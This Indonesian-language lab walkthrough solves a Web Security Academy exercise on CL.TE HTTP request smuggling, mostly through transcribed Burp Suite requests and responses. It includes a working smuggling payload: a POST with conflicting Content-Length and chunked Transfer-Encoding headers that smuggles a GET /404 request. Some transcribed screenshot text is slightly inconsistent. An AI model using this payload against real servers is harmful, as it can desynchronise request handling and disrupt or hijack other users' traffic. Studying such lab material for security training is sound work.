

HTTP request smuggling

HTTP request smuggling, confirming a CL.TE vulnerability via differential responses

Tujuan :

Langkah langkah :

Langkah pertama buka webiste nya jangan lupa burpsuite tanpa harus menyalakan intercept nya

The screenshot displays the Burp Suite interface. At the top, the 'HTTP history' tab is active, showing a list of intercepted requests. The first request is a GET to 'https://0acf004303bb1c7282de1...' with status 200. The second request is a GET to 'https://0acf004303bb1c7282de1.../academyLabHeader' with status 101. Below the history, the 'Request' and 'Response' tabs are visible. The 'Request' tab shows the details of the first request, including headers like 'Host: 0acf004303bb1c7282de1551006100c7.web-security-academy.net', 'Cookie: session=0W6cF7908Jog1VwJraxYoAyUfJBUhau', and 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0'. The 'Response' tab shows the details of the second request, including headers like 'Content-Type: text/html; charset=utf-8', 'X-Frame-Options: SAMEORIGIN', and 'Content-Length: 11629'. The response body contains HTML code, including a title 'HTTP request smuggling, confirming a CL.TE vulnerability via differential responses' and a link to 'resources/labheader/css/academyLabHeader.css'. The 'Inspector' panel on the right shows the 'Request attributes' tab, which lists 'Request cookies' (1), 'Request headers' (14), and 'Response headers' (3).

#	Host	Method	URL	Params	Edited	Status code	Length	MIME type	Extension	Title	Notes	TLS	IP	Cookies	Time	Listener port	Start respons...
1	https://0acf004303bb1c7282de1...	GET	/			200	11738	HTML		HTTP request smuggling...		✓	79.125.84.16		21:37:29.4 Dec...	8080	219
2	https://0acf004303bb1c7282de1...	GET	/academyLabHeader			101	147					✓	79.125.84.16		21:37:30.4 Dec...	8080	228

```
1 GET / HTTP/1.1
2 Host: 0acf004303bb1c7282de1551006100c7.web-security-academy.net
3 Cookie: session=0W6cF7908Jog1VwJraxYoAyUfJBUhau
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate, br
8 Upgrade-Insecure-Requests: 1
9 Sec-Fetch-Dest: document
10 Sec-Fetch-Mode: navigate
11 Sec-Fetch-Site: none
12 Sec-Fetch-User: 71
13 Priority: u=0, i
14 Te: trailers
15 Connection: keep-alive
16
17
```

```
1 HTTP/2 200 OK
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 11629
5
6 <!DOCTYPE html>
7 <html>
8 <head>
9   <link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
10  <link href=/resources/css/labsBlog.css rel=stylesheet>
11  <title>
12    HTTP request smuggling, confirming a CL.TE vulnerability via differential responses
13  </title>
14 </head>
15 <body>
16   <script src=/resources/labheader/js/labHeader.js>
17   </script>
18   <div id=academyLabHeader>
19     <section class=academyLabBanner is-solved>
20       <div class=containers>
21         <div class=logo>
22           </div>
23         <div class=title-container>
24           <h2>
25             HTTP request smuggling, confirming a CL.TE vulnerability via differenzial
26             responses
27           </h2>
28           <a class=link-back href=
```

Masukan ke repeater yang berisikan get /

Request

```

1 GET / HTTP/1.1
2 Host: 0acf004303bb1c7282de1551006100c7.web-security-academy.net
3 Cookie: session=0W6CF7908JogIwIjraXoAYUfJBUNau
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate, br
8 Upgrade-Insecure-Requests: 1
9 Sec-Fetch-Dest: document
10 Sec-Fetch-Mode: navigate
11 Sec-Fetch-Site: none
12 Sec-Fetch-User: ?1
13 Priority: u=0, i
14 Te: trailers
15 Connection: keep-alive

```

Response

```

1 HTTP/2 200 OK
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 11629
5
6 <!DOCTYPE html>
7 <html>
8 <head>
9 <link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
10 <link href=/resources/css/labsBlog.css rel=stylesheet>
11 <title>
12 HTTP request smuggling, confirming a CL-TE vulnerability via differential responses
13 </title>
14 </head>
15 <body>
16 <script src=/resources/labheader/js/labHeader.js>
17 </script>
18 <div id=academyLabHeader>
19 <section class=academyLabBanner is-solved>
20 <div class=container>
21 <div class=logo>
22 </div>
23 <div class=title-container>
24 <h2>
25 HTTP request smuggling, confirming a CL-TE vulnerability via differential
26 responses
27 </h2>
28 <a class=link hack href=

```

Inspector

- Request attributes: 2
- Request cookies: 1
- Request headers: 14
- Response headers: 3

Lalu matikan update-content-length dengan cara mengeklik nya hingga hilang centang nya
Kemudian rubah yang semula get menjadi post sesuaikan dengan payload ini saja
POST / HTTP/1.1

Host: 0acf004303bb1c7282de1551006100c7.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-Ignore: X



1 Burp Project Intruder Repeater View Help
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn

1 X +
Send Cancel < > Burp AI

Target: https://0a6f004303bb1c7282de1551006100c7.web-security-academy.net HTTP/1

Request
Pretty Raw Hex
1 POST / HTTP/1.1
2 Host: 0a6f004303bb1c7282de1551006100c7.web-security-academy.net
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0
4 Content-Type: application/x-www-form-urlencoded
5 Content-Length: 35
6 Transfer-Encoding: chunked
7
8 0
9
10 GET /404 HTTP/1.1
11 X-Ignore: X
12

Response
Pretty Raw Hex Render
1 HTTP/1.1 404 Not Found
2 Content-Type: application/json; charset=utf-8
3 Set-Cookie: session=dmu6w9gx2dw0zai0Socuf1bbJRuPDM; Secure; HttpOnly; SameSite=None
4 X-Frame-Options: SAMEORIGIN
5 Connection: close
6 Content-Length: 11
7
8 "Not Found"

Inspector
Request attributes
Protocol HTTP/1 HTTP/2
Name Value
Method POST
Path /
Request query parameters 0
Request body parameters 3
Request cookies 0
Request headers 5
Response headers 5

Done
Event log (2) All issues
Memory: 165.7MB Disabled

Itu adalah respon ke dua terdapat perbedaan

HTTP request smuggling, confirming a CL.TE vulnerability via differential responses

Web Security Academy

LAB Solved

Back to lab description >>

Congratulations, you solved the lab!

Share your skills! Twitter LinkedIn Continue learning >>

Home

WE LIKE TO
BLOG



Dan lab pun tersolved